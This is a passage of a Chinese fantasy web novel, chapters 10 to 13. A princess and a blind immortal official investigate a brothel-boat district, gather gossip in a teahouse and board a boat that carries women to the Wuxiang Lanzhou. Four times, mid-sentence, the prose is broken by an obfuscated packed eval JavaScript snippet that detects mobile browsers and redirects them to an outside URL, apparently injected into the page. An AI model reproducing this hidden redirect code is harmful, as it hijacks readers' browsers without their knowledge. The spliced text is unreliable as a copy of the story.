老大夫忙里忙外,还有几个小药童,在人群中穿梭,都顾不上看她。 有人抬眼,看见她和南门春从楼上下来,眼神空洞地望向别处,不敢多看。 还有人则讥讽地笑道:“仙人也会生病?二楼雅间伺候得可还舒服?” 二楼相较一楼,不仅干净许多,还几乎没人,而一楼躺满了人,却没人敢上二楼去,一切皆因四个字。 “仙凡有别。” 有人附和道:“快别说了,治病要吃药,没有仙人周济,我们哪来钱买药?” “周济?没有仙人,用得着周济?” 那讥讽的人就是满脸血,看着最狰狞的一个,认着撕裂伤口、疼得龇牙咧嘴,也要回话。 “要不是为了给他们修什么天梯,会死伤这么多弟兄?” 旁人大气不敢出一声,还有人拖着条残腿,一点点挪远了,只怕跟那口出不逊的人沾上包。 应宁却一笑,道:“骂得好。” 众人皆是一愣。 她掏出身上多半的金银灵石,将钱袋子放在门口药柜上,转身走出了医馆。 馆内安静许久,才有人惊呼道:“是长公主殿下!” “殿下?”那满脸血的人怔怔道,“殿下不是都穿白衣吗?” “这云中府里,除了殿下,还有谁会在乎凡人贱命?”有人道,“管她穿红穿白,必是瀛洲玉雨!” 满脸血的人回过神来,拖着一身伤,踉跄夺门而出,却已经不见了应宁踪影。 医馆外来往路人众多,乍一见这么个满脸血的,都嫌恶得绕开老远,白他一眼。 他只好左右看看,冲到街角一个小叫花子面前,急匆匆问道:“你刚才又没有看到一个穿红的仙女,跟一个穿白的瞎子路过?” 小家花子冲他举起碗,比划了一下。 他提起拳头要揍,小家花子赶紧放下碗,悻悻给他指了个方向。 · 云梯正面对着第一关,背面就是大泽延伸出的支流。 护城河穿流过府城,在云梯背面汇成一方天池,东流入海,池水澄澈如镜,倒影着远处天边上星罗棋布的散岛,湖边则停了千万艘姹紫嫣红的乌篷小船。 自上一次仙魔之战后,天下真火尽熄,最赚钱的炼器师和炼丹师都已蒸发,剩叶氏仙门的医修与剑修独大,但符修、阵修还在,这些都是如今散仙赚钱的手段。 不过最擅长画符箓、摆阵法的,其实多半是魔修,尤其是一些妖修、诡修,都属于邪魔外道,只能避开府城,集结在湖畔的乌篷船上低调地做起生意,互通有无,来去自由,人称万紫千红窟。 “千红窟是妖修的地盘,”南门春疑惑道,“叶氏的人来这里做什么?” “是啊,”应宁望着远处一艘大船,道,“我也想知道,叶氏和合欢宗有什么纠葛。” 水天相接处,一艘岛屿大小的船只最为显眼,只是如海市蜃楼般若隐若现,船头船尾挂满了水红色鲛绡,便是伥鬼那第三化身,合欢道女修的宗门,无相兰舟。 若伥鬼真是叶家养的,新仇旧账就可以一并算了。 只是不知叶家派系众多,会是哪一位的呢? 10. 第 10 章 景朝几朝以前,也有许多类似云中府的乌篷船,不过不叫什么千红窟,人称“窑、子”。 人间南方的湘江、秦淮、大运河上,凡是流经繁华府城,就有的是在乌篷船里开张的皮肉生意,只是自从人间出过一位女帝紫皇之后,后继全是女帝,窑、子就在一夕间绝迹了,无论南北,也无论男女。 妖修不甘寂寞,又把生意开到了云中。 应宁管不了仙界的事,但据说这里不乏凡人,所以她早就想来看看,一直没有抽出时间,上辈子刚查到这里的合欢道女修,就大难临头了,这次正好顺势查下去。 她收好峥嵘和骰子,将难容化作一圈红线缠在左手中指上,只拿着湘儿的刀,用刀柄挑开红绡帐篷,上得一艘小船转了一圈。 “老板娘在吗?” 几艘小船都用红绡系成一片,船上有男有女,多半是衣衫凌乱地互相靠坐在法阵中,状若沉睡,实则在吸食燃烧仙草的香炉,同女鬼吸食香火一样,一脸悠然陶醉,似乎并无凡人,只有修仙者才会吸食这些东西。 水深处有一红裙少女,从船上探出头来,向下张望,招呼道:“仙子买什么?过来吧。” 应宁迈过一艘接一艘的小船,向那少女走去。 船在水上摇摇晃晃,南门春跟在她身后,脚步竟有几分踉跄,右手用扇柄在船舱间扶了几次。 多新鲜啊,天道走不动路了。 应宁回头笑看他一眼,知道自己还在高烧,只觉得那倒也不算痛,就是头晕脑胀,眼花耳鸣罢了,反正他自己本来就眼瞎耳聋,哪有这么严重? 南门春却哑声道:“你……你这病得不清,头痛欲裂,全身乏力,需要吃点东西。” “可我没有食欲,”应宁随口道,“而且这里的东西,你敢吃?” 她再没理南门春,径直登上二楼船舱,来到那招呼她的少女面前,打量起船舱里的摆设。 这里同岸边的船只无甚区别,里外挂满红绡,不过唯那少女一人,空地全被商品堆满,头顶上挂古旧铃铛,并各色刀剑、匕首,还有几条九节鞭,墙上挂各色披帛,长桌上摆满首饰绫罗,还有几样乐器和数包草药,让人眼花缭乱。 “我想买把刀鞘,”应宁举起湘儿的刀,给少女看过,问道,“你看看,能给它配上吗?” 湘儿的刀鞘上刻着一个“湘”字,被应宁当做墓碑留在阳关的衣冠冢上,剩下的刀身和刀柄也都平平无奇,更无刻字。 但那少女揉过睡眼,显然是才醒,盯着那刀身看了一会,就竟然认出来了,惊道:“咦?这把刀,好像就是我卖的,可我卖的时候它还有鞘啊。” “你没认错吧?”应宁挑眉,问道,“这是我在人间买的。” “没认错,你是新来的吧?”少女斩钉截铁,伸出只有四根手指的右手,弯了弯食中二指,指着自己的双眼道,“看到没?百闻阁白老板在此,东西凡过我账,就没有能记错的,更何况兵器?天下刀剑,没有十之八九也至少有十之五六是出自我手。” 她长了一双重瞳子,双眼共四个金色眼珠,仙界无人不识。 应宁没跟她做过生意,但也听说过白老板的名号,双手八根手指,双眼四个眼珠,似乎是个活了很多年的大妖,在真火未熄时还是个炼器、炼丹宗师,兼百家之长,可惜现在只能吃吃老本,改行卖东西了。 “那你卖给谁了?”应宁又问,“我去找她买来。” “呵呵,你大中午的,扰了我清梦,去找别人买东西?”白老板又伸出右手,食中二指与拇指在她面前搓了搓,道,“不给点好处费,就想白打听,当我百闻阁是吃白饭的?” 应宁一探钱包,不剩几块灵石。 不巧,刚才在医馆太大方,都留给那医馆的凡人买药去了。 即使生在皇室,也只是个人间皇室,相比仙界而言,公主手头也并不宽裕,应宁只能硬着头皮问:“你要多少?” “二两上品灵石,”白老板又是伸出那两根手指,道,“你问的这个人来头不小,我保证价格公道。” 应宁根本就知道是谁,不可能花钱去问,闻言立刻摇头。 “算了,太贵。” 她正要下楼,南门春却正好刚上楼。 “等等,”白老板叫住应宁,四只瞳孔都收缩了一瞬,震惊道,“稀客啊,云中太守!你们两个一起的?” 看来白老板果然是活了很久,连应宁的师尊、第一仙门的掌门人都没见过云中太守的真容,她竟能一眼认出来,再考虑到她的炼器背景……应宁更加确信,南门春绝对是人造的。 南门春无暇顾及她们的目光,不过上几步楼梯就已气喘吁吁,整个人直接半靠在了门框上。 “他这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517745|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了?”白老板见他如此虚弱,愈加震惊,“要死了?” 应宁满脸无语。 “死不了,”她嫌弃道,“发烧而已。” “哎呀,”白老板仍然啧啧称奇,道,“我这里有退烧的丹药,快给他吃点,他若出什么事,那可是三界的大事。” 这还是刚才那个铁公鸡吗? 白老板从凌乱的床铺边挖出一只百宝箱,开箱取了一枚丹药,向南门春递过,南门春打开两折扇子递上,接了过来,自己却不吃,扇面平着一转,转到应宁面前。 应宁捏起扇面上的丸药,眼睛却盯着那扇面。 上一次在幻境中,南门春才露出一根扇骨,轻敲之下,就吹飞了半条云梦泽,虽是假的大泽,但她用难容与“乾坤一掷”制造的幻境能指假为真,这把神器“避风流”的威力绝对不俗。 可这次,他居然随手就打开了两折扇面。 扇面隐约露出一个字的边角,看不出是什么字,很快就被收回了。 应宁捏着丹药抬手,手指一转,却是用中指上套着的难容一蹭,将丹药收进了芥子乾坤袋中。 南门春果然已经不再贴身监视她,完全没发现她的动作。 “你们……” 白老板在他二人间来回打量。 “我们是一起来的,”应宁拍了拍南门春的肩膀,笑道,“白老板会做生意,应该知道与我们合作不亏。” 白老板犹豫片刻,交代道:“那刀原是从人间当铺收上来的过期质物,因为沾染了鬼道的因果,一直卖不出去,前两年才卖给了叶氏冬社的执事,叶飞绝,你要找那把刀鞘,可以去无相兰舟找她,她现在就在兰舟上谈明年春秋试剑的买卖。” “冬社,叶飞绝?” 应宁上辈子没捉到过湘儿的第二化身,自然也没有这样的线索,查不到叶飞绝身上,但这个试剑的买卖,她倒是有所耳闻,因为她查到的正是这次买卖的另一方,无相兰舟的那个合欢道女修。 南门春思考了半天,才明白过来。 买了这把刀的那个叶氏少女,明明在阳关被伥鬼吞噬,用来精进了修为,是南门春在伥鬼的幻境中亲眼所见。 那么现在,正在跟合欢宗谈生意的叶飞绝,又是谁?! “原来两边都是鬼……”应宁忽然笑道,“真是越来越有意思了。” 11. 第 11 章 无相兰舟与千红窟的岸边小船不同,离府城太远,在水天交接处,没有桥可以通行。 应宁寻了处无人的地方,取出难容与峥嵘,小心翼翼地踩在剑上,向湖心缓慢飞去,很快掌握了点御剑的窍门,逐渐加速,衣袂列列翻飞,离岸边越来越远。 可赶了有一刻钟的路,她再撩开幕离望去,却见那兰舟还是远在天边,竟真是座海市蜃楼,可望而不可即。 “这里有障眼法。” 南门春动作迟缓,但也能时刻紧跟在她身后,无需御剑,凭空站在水面上,靴底不沾一滴湖水,还在用扇子支着太阳穴,虚弱地问道:“要我为你破阵吗?” “不必打草惊蛇,先回去吧,”应宁摇头,想不到他会主动提出破阵,高看了他一眼,体贴道,“找地方让你歇一歇。” 南门春不禁苦笑,道:“是让你歇歇。” 千红窟的老板们各个都美艳至极,跑堂的杂役也貌美如花,而且全是女人,不愧是云中仙府的店面,人杰地灵,同萍水那些形貌猥琐的男店长截然不同。 应宁选了一艘客人最多的食肆,等了半晌才等到位子,还是坐在船舱外的,只叫了壶茶,就同店家打听起上船的办法。 “二位是第一次来仙界吧?”倒茶的少女一笑道,“御剑是上不得无相兰舟的,得等湘夫人自己开张才行。” “劳烦再上几碟清粥小菜,”南门春头痛地补充道,“要干净、滋补、好消化的。” “公子且放心,”少女冲他眨眨眼,道,“我们船上的一应吃食都保干净、滋补,猛药给您留到今晚的刀刃上呢。” 南门春:“?” 应宁看他半个身子都快掉出窗外,已不再嫌弃,转而无语,没想到他如此娇弱,只追问少女道:“要等到几时才能上船?” 船内生意繁忙,那少女只掩唇一笑,说了句“看您急的”,就转身去招待别的客人了。 还是旁边桌上一个老头,主动告诉应宁:“多半是酉时,偶尔晚一点,戌时也来了,来了你自然就知道了。” 又有一青年笑道:“你家公子都这副模样了,你还敢带他上画舫,就不怕明早回不来吗?” 周围众人闻言,打量起南门春,顿时笑成一片。 此时,萍水那破客栈的感觉,又回来了。 应宁一双笑眼流转,透过幕离的轻纱,仔细打量起船内的宾客。 这里还是多数为男宾,不过不似萍水全是男人,也有零星几个女宾,男女猛一眼看去都是仙风道骨,与萍水面黄肌瘦的凡人大相径庭,但细看却都有不足,不是面色白得发惨,就是齿缝宽得诡异,还有皮肤遮盖得特别多的,也裹不住脖子上、手上露出的点点深紫色瘢痕。 看来,就算是所谓“仙人”,也不能去俗欲,也会染花柳病。 “我家公子确实天生体弱,但也不至于一夜就下不来船吧?”应宁笑着,为南门春倒了杯茶,推到他面前,同众人道,“温柔乡,英雄冢,纵有风险,难道不值得一涉?” 南门春本来已经快趴在窗框上了,闻言又抬头道:“我怎么天生体弱了,还不都是你害的?” 众人又是笑成一片。 “你们两个自个儿在家快活快活,也就差不多得了,何必上画舫?”又一壮年男子嘲笑道,“没有金刚钻,非要揽瓷器活儿,怕是要有去无回喽。” 只有一女子,似是好感南门春露出的那半面容颜,怜惜地看看他,提点应宁道:“湘夫人不只收钱财,还要收灵力,你家公子若修为不深,当保全金丹要紧,固好根基再去不迟。” 原来如此,那上不了船的,可能就不是南门春了。 应宁追问那女宾道:“是上船的人人都要交灵力吗?怎么个收法,可能代行?” “上船就要,可以代行,”女宾显然以为是她要代行,讲解道,“你用灵力幻化出一束鲜花,让你家公子在花瓣上亲手刻下自己姓名,和你自己的一并交给画舫的女校书就行了。” 幻化之术好比魔障,是仙界惯常所鄙弃的伎俩,仙界之人自然也用不很得当,变化很容易显形,不过变些小玩意倒也无妨大雅,人人都会,何况美人配赠鲜花,听起来就是嫖宿时再合适不过的小彩头罢了。 只有见识过阳关那几大箱子嫁妆,才会立刻看出端倪。 这不就是变相的收受香华吗? 香华道的香为烟、华为花,在仙界大肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534514|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收香困难,收花却很简单,答案已十分明显,这个湘夫人就是湘儿的第三化身,连南门春都眉头一皱,听出不对劲了。 “什么鲜花都行?”应宁想了想,低头一笑,又问,“兰花也行?” 那女宾沉默片刻,道:“除了兰花。” 兰为王者香,在云中都护府脚下,避讳馨烈侯的名号,听着也很正常,谁会联想到是因为湘夫人在私下里食用传芳君的香火呢? 应宁却道:“无相兰舟都没有避讳兰字,怎么要我避讳?我偏要用兰花,看她敢不敢收。” 众人一片沉默。 “还是算了吧!”这回,方才出言嘲讽的壮年男子第一个开口,拦她道,“兰死不改香,馨烈侯威名尚在,当年兰舟还不是现在这副模样……你可不要害得我们都上不了船!” 看来他们自己也不是不知道,嫖资会污了馨烈侯的香华,也怕天打雷劈呢。 应宁看向窗外,又问:“那……梨花呢?” 众人又是一阵沉默。 这回是少年人憋不住了,质问应宁道:“你就算是第一次来仙界,总不会也没去过人间吧?瀛洲玉雨的大名没听说过?为什么要给船娘送梨花?这桥头岸边多少暗娼,连个私开门、半开门的生意都不敢做,不就是怕被她给抓到把柄!” “瀛洲玉雨?”应宁嗤笑一声,道,“她就是个凡人,抓到能如何?” 女宾叹道:“她虽是凡人,却是凡间预言的人皇,凡间律法严禁寻花问柳,嫖客一被抓到就是死罪。这云中的第一仙门叶氏你总该听说过吧?叶氏夏社的掌门是她师尊,秋社未来的继承人是她师弟,冬社的神女是她师妹,你说被她抓到能如何?” 应宁听完,冷笑连连。 “无非是背靠叶氏,若没了仙门扶持,单她一个凡人又能做得了什么?” 旁座的老人低笑一声,道:“此话不假,可叶氏偏偏就要扶持她这个凡人,怕她无法御剑,难登仙岛,还专门给她修了两条黄金白玉的天梯,我们纵有不满,又能奈何?” 应宁与南门春俱是一愣。 半晌,应宁低笑出声:“我竟不知……” 那两条天梯,居然是给她修的。 12. 第 12 章 越到傍晚,食肆里越是喧闹,府城内的仙者们平日里少言寡语,到了凡人、妖魔众多的城外后,仿佛也入乡随俗,放下仙者的架子,开始健谈起来。 尤其是提到“瀛洲玉雨”和叶氏仙门时。 “那女人管得宽,皆因明镜台在她出生之日就有预言,说什么三界命数系于她一身之上。” 壮年男子喝起闷酒,酒气有些上脸,愤愤道:“可明镜上面也没写是好事坏事啊?万一是三界气数被她拖累了呢?我们千红窟做生意,你情我愿,关她屁事!没听说过宁拆一座庙、不毁一桩婚吗?” “嘘——” 青年男子压低声音,道:“她毁的又岂止是一桩婚事?妖窟已经传开了,就在昨日,她才返回人间探亲不久,岭南道的阳关、萍水二镇,就一夜间被杀了上千口男丁!” 这就是三人成虎了,应宁心道,这两个镇子加起来才几百口人。 “我也听说了,”少年男子起身,手里也捏着一把折扇,在附近的茶桌间踱步,忽而停下,用扇子比划了一下自己的脖子,道,“是被带着火焰红线瞬间割断的首级。” 老人恍然道:“红线斩首……这怎么听起来这么像是……” “传说中魔尊的手法!”少年人扇子一敲桌子,如惊堂木般,敲醒了半艘船的食客,“上一次仙魔大战后,三界真火尽熄,除了难容,还有什么法器是带火的?魔尊陨落几百年了?为什么她才出生十几年,难容就突然现身人间了?而且斩的还是阳关的人,只因阳关违逆了人间律法?” 众仙者都窃窃私语起来,显然都有耳闻。 不过是两个人间小镇,地界都快偏到魔界了,消息却能跟长了翅膀似的一夜间就飞到仙界来,明显有问题。 “阳关是什么地方?”唯有那女宾,有些呆愣,还问道,“这和瀛洲玉雨有什么关系?” 壮年男子挪到女宾身边,靠近她道:“你还没听说?阳关在岭南道,有很多魔尊的信徒,难容是魔尊的神兵,虎毒还不食子呢,自家人怎么可能斩自家人?只有一个原因……” “正是,”少年人一副说书人的架势,道,“应有语掌三界命数,她一来仙府,仙府就开始内乱,一不能嫖,二不能赌,三不能私自械斗,说什么免伤凡人性命,自她十二年前入云中,布下这三条法令后,连斩冬、夏、秋社三员违令的长老,大家伙是一天好日子都没过上!” 青年男子却幸灾乐祸道:“连湘夫人都布下阵法,躲到‘色海’上去了,仙界惶惶不可终日,如今总算轮到魔界了。” 猜得可真准,几乎凭空这就猜出是她了,若说没有鬼修在这里面传话,应宁是不信的。 女宾听后,也叹道:“她若真在乎凡人性命,怎会为两条天梯大兴土木?听说她在人间素有美名,如今斩杀阳关上百人,却是连人间的表面功夫都不做了。” “是啊,”应宁附和道,“而且按说阳关若信奉魔尊,那就是魔界的地盘了,云中都护府又是仙界的属地,仙魔两界轮得到她来管?” 南门春疑惑道:“那你还……” 应宁一筷子给他塞了只翡翠小笼包。 “南门公子嗓子还疼呢,先别说话了。” 邻座的老人若有所思,问道:“你家公子复姓南门?这倒是三界少见的,只听祖上提过,已经是多少年前的世家了。” 那确实有年头了,仙界活过千年的老妖精不多,两只手都数得过来,这厮出生得比上一次仙魔大战还早许多年,恐怕就是三界第一人了,说出来要把这一船的仙者吓死,想也想不到那么远,除了白老板,应宁并不担心会有别人认出他。 “我家公子世代隐居,第一次入世,”应宁从容道,“听说兰舟上的姑娘个顶个的妩媚动人,急着想来长长见识。” 南门春默默把嘴里的包子夹下来,放回碗中,叹了口气。 三界命数系于她一身……能怎么办呢? 南门春已答应了要照看湘儿一事,君子一言,驷马难追,想她自有办法,只能受着她的诽谤了。 “兰舟上的姑娘啊,各有各的妙处,”少年人心性好动,干脆一打折扇,摇着扇子挪到了应宁身边,娓娓道来,“你要什么样的,就有什么样的,只有你想不到的,没有湘夫人拿不出的,只可惜你家公子有眼疾,少了太多眼福,没得挑,就只能捉一捉迷藏,摸到哪个是哪个了。” 壮年男子本还气着,聊到这里又低低笑道:“不过啊,要我说,最妙的还是兰舟。” “哦?”应宁颇感兴趣,“怎么说?” 少年人摇扇道:“雨来沾席上,风急打船头。越女红裙湿,燕姬翠黛愁。” 老人也沉声笑了起来。 修仙之人多半耳聪目明,船坞里的男性听到这个话题,也都一起笑起来,唯有那零星几个女宾,不是在饮食,就是笑得俩潦草草,略显不合时宜。 应宁虽是女宾,却比谁都笑得开心,道:“如此说来,这兰舟还真是个妙处,我家公子必然喜欢,今天非上船不可。” 少年人用扇子一指南门春,道:“喜欢不一定能上,我看你家公子快不好了,面白如纸,还是先攒够灵气吧,别被人砸下去,船票可是有数的。” 应宁看向南门春,后者只轻摇了一下扇子,示意无碍。 天道最不缺的,就是灵力。 “我家公子心里有数,”应宁替他夸下海口,“兰舟必有我们一席,且还得是位列前茅。” 这样争着抢着去嫖、娼的话,她张口就来,南门春都不禁叹气好几次了。 可他也确实是头痛得要命,不想多说什么了。 “每天都有这么说的,每天都有被踢下船的,”凑到那女宾旁的壮年男子仍是嘲笑,“只怕你家公子这身板经不住船娘一抛,可提前准备好干净衣服吧。” 少年人反过来嘲他道:“昨天被抛下船的,好像就是你吧?” 壮年男子顿觉面上无光,离开女宾,换了张桌。 众人又是一阵大笑。 “你们不用理他,”少年用扇子指着应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559275|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁和女宾,道,“我叫谢晨,今日与你们有眼缘,你们若上不了船,可以报我的名号。” 女宾点头道:“怎会不认识您?谢大公子,有劳了。” 应宁也抱拳一笑,道:“谢晨谢公子,我记住了。” 谢晨用扇子指着南门春,笑道:“不过话说在前头,我只记女宾的账,不管男宾。” 众人再次哄笑。 南门春却低声道:“用不着。” 谢晨本是半真半假的玩笑话,听到后一怔,多看了他一眼,但见他还是出气长进气短的,靠在栏杆上,倒也没说什么。 谈笑间,天已经黑了,月亮一升,不远处驶来一艘红绡笼罩的小船,食肆里的仙者们就瞬间蜂拥而上,再没有闲聊的功夫,蚂蚁排衙般挤到码头去了。 果然是“来了你就知道了”,千红窟的码头绵延十里,十里加起来都没有这两米宽码头壮观。 几个女宾倒走得慢。 应宁也不急,只问先前提点她的女宾:“你不怕上不了船吗?” 女宾摇头答:“不急,画舫会停上两刻钟,鲜花扔上船去就行,湘夫人只看灵力多少,不看先来后到,到时候灵力排得进前三四十位的,自然就能上船,只是不够的话,也不会还回来了,可莫要纠缠,不然出手的也不止是湘夫人。” 大家怕闹出事来,被人间那位抓住,都上不了船,那么上了船的,本来就修为深厚,肯定会帮香夫人一起出手清理事端。 这湘夫人可真是会做生意。 说完,女宾独自走向另一个没什么人的码头去了。 “听到了吧?”应宁目送走女宾,脸色顿时无比阴沉,同南门春冷冷道,“变两朵花来,注入的灵力越强越好。” 南门春伸出右手,掌心聚起一阵小小旋风,瞬间成型出两朵鲜花。 他将花放在扇子上,仍是打开两折,递给应宁。 应宁反手捏过,低头一瞥,又愣住了。 那是两朵纯黑的梨花。 这厮不止是色盲,却原来连光感也没有,对“白色”都无概念。 不过应宁并未声张,只是将花收进手指上的难容,道:“等下,我们先跟着那女宾走。” 南门春却也道:“等下……你……” 他神情奇怪,半天都没说出口。 应宁心中有事,赶着想去跟紧那女宾,于是更嫌他烦,直想骂他,催促道:“到底要说什么?颦蹙儿,有话快说!” 连朵花都变不出来,还在这里磨磨蹭蹭。 南门春跟了两步,持扇的右手始终放在自己腰腹间,想了又想,眉头紧锁,但似乎是太难受了,最终还是忍不住道:“殿下,我确实无意冒犯,但人有三急,你还是先去净手更衣吧?” 应宁停下脚步,也想了想,才道:“我不需要净手更衣,你是肚子不舒服吗?” 南门春已经疼了很长时间了,郑重点头。 应宁却道:“那可能是痛经,小事,已经第三天了,你再忍忍就过去了。” 13. 第 13 章 痛经…… 南门春眼看着应宁跑远,只能咬咬牙,扶着腰跟了上去。 他心中有一万个怀疑,认为痛经绝不至于如此痛苦,也无法辩驳,因为他毕竟没经历过,就同走向歧路的天意一样,明知不对劲,也只能硬着头皮撑下去。 应宁已追上了之前的女宾,问道:“你怎与他们不同路?” 那女宾黯然答道:“因为本就不是同路人。” 她们跟在少数几个女宾身后,站在空旷的码头上,挨个排队走上两艘小船。 小船是从人挤人的码头里驶出来的,前头的已经开走了一艘,装了四、五位女宾,也驶向湖心的兰舟,上船的女宾们却没有一个上交鲜花的。 应宁问道:“怎么,女宾上船不用上交灵力不成?” “你随你家公子上船,还是要去人多的那边,”女宾停顿片刻,低声告诫她道,“这里不是你们要走的路。” 应宁也停了一瞬,懂了。 这些女人,根本就不是客人,而是准备投奔湘夫人的兰舟之“主人”。 熄灭阳关的香火时,应宁心头的怒火已经被一并熄灭了,但眼下又瞬间重燃,而且怒焰还越燃越高了。 她低下头去,强压下心头怒火,不过转瞬间,就又抬起头来灿然一笑,果断改口道:“不,其实方才在食肆里,我不过是说的谎话,这才是我们要走的路。” 那女宾一愣,问道:“你……你当真?可湘夫人不收男子。” 南门春满身是病的疲惫跟在他们身后,还不知道到底是怎么回事,就听见应宁说道:“我家公子其实也是女扮男装,她实际上是我家小姐。” 男人上不了小船,虽然不知道应宁为什么不上大船,但南门春转念一想,自己也不愿意去跟刚才那姓谢的嫖客同船,还要时刻盯防着应宁,干脆继续配合她算了,这就在手心一敲扇子,将自己变成了女子常见的外貌。 他本是个如神仙般的俊美男子,化为女子时,不过身量略低、骨架略细、面部轮廓略柔和了些,只微调些许,就成了个绝世美女。 肤如凝脂,唇如涂朱,眉如远山。 饶是见惯了美女的应宁,回头一看,都不禁倒吸一口气。 “你、你家小姐……”那女宾呆呆道,“是修着相道的?” 变化之术属邪魔外道,变朵鲜花这种小物件的,只是不足为虑的小手笔,但能精通到变换外貌这个地步的,就极有可能是专修“着相道”上的修士了。 这在千红窟很常见,因为千红窟又被称为妖窟,妖修多半都是这条道上的,山妖野怪、魑魅魍魉想修成仙,往往第一步就是学习幻化成人之法,而且也多半貌美。 “既然有道行,何必去投奔湘夫人?”那女宾立刻劝道,“只要筑基,就能去仙门找到不错的活计,你们回仙府去吧!” “你们还上不上船了?” 码头撑船的船娘打断了女宾的话。 “再不上船我们就开走了。” 女宾不再多说,低头撩起裙子,迈上小船。 应宁和南门春最后两个跟上,挤在了那女宾身边。 “哎,”船娘质问她二人道,“你们知道这里是做什么的吗?犹犹豫豫的,我们无相兰舟可不干什么逼良为娼的事情,上了船就不能再反悔下船了,否则后果自负。” “知道,”应宁大大方方道,“我们两个都是来卖、身的,姐姐放心开船,我们保准一条道走到黑。” 南门春默默扭头,用扇子支住了额头。 有个女子坐在应宁对面,听到了她们先前的谈话,又问道:“你家小姐有道行,为什么不去投奔叶氏仙门?哪怕是炉鼎,也能去冬社做些洒扫之类的营生呢。” 应宁答:“我家小姐,宁做鸡头,不做凤尾。” 南门春:“……” 应宁显然没把“鸡头”当回事,还理直气壮道:“修仙之人,明明天生灵根,有仙缘,却要上杆子去给别人端茶送水当丫鬟,那还修哪门子仙?有什么意思?” 对面那女子叹道:“你们是刚来仙界吧?听说百年前人间紫皇废除贱籍,平民再无三六九等,无奴无婢的,自由惯了,便不稀罕当什么仙门的丫鬟,殊不知在这仙府入仙门后,若能从仙长们指甲缝里露出一星半点的灵丹妙药,修为升一小步,待遇就升一大截,是远非凡间能比的荣华富贵。” 一少女坐在最里侧,衣着不凡,语带不屑,插话道:“只要修成金丹,那吃穿用度,比人间公主都奢侈得多!” “倒不至于吧,”最初茶肆里的女宾道,“瀛洲玉雨的殊荣,寻常修士还是不敢比的。” “我见过公主殿下回乡省亲,她出门不过乘一台两人驾车的小轿,”那少女断言道,“叶氏冬社一寻常的金丹修士出门,都要乘十八人抬,还不算轿子里陪行的丫鬟小厮、前后好几十丈的仪仗侍卫!” 那女宾仍坚持道:“等天梯修完,恐怕公主也要换三十二人抬的依仗了。” 少女却道:“哼,你信那天梯是修给公主殿下的?不过是冬社的一家之言罢了,殿下心系百姓,怎么会劳动凡人?这两年开修天梯的时候,殿下正好闭关,冬社就是怕试剑时打不过秋社,想拉殿下下水,逼秋社退缩。” “试剑?” 那女宾呆住,显然也是第一次听到这个说法。 “你们还不知道吗?”少女冷哼道,“叶氏仙门的春秋试剑,春社无人,夏社不赛,每年都是冬、秋两社打擂台,打得不分伯仲,一直没有赢家,但今年秋社出了个天才少年……” 那女宾恍然道:“……谢二公子。” “正是!”少女道,“公主殿下是谢二公子的师姐,叶氏谁不知道她是谢二公子心头的白月光?冬社就是要拿这条天梯诋毁公主殿下、逼死无数凡人,谢二公子一天不肯退让,他们就一天不肯停修!真是好不要脸!” “竟是这样……”那女宾呆呆道,“叶氏身为第一仙门,还有内斗?” 别说外人了,这其中曲折,连应宁这个当事人,都听得一知半解。 “你们凡人什么都不知道,别人说什么就信什么,也没办法,我在湘夫人麾下做事,自然知道多些内幕,等你们上了兰舟,渐渐得也就懂了。” 少女摇头叹息,又挥帕子指着应宁。 “你家小姐说的对,宁当鸡头,不当凤尾,上我们无相兰舟,比投奔叶氏冬社要好多了!指望冬社恩赐,简直就是天方夜谭,去了就是一辈子端茶倒水的命,做一辈子丫鬟吧,哪像我们兰舟、哎,她怎么了?” 南门春一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601563|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕船的样子,难受极了。 “她痛经,”应宁道,“没事。” 那女宾同情道:“别吃凉的,别碰凉的,也别提重物,下次就好一些。” 南门春点头,无语面朝应宁的方向。 应宁却起身背对他,张望着道:“好快,已经到了!” 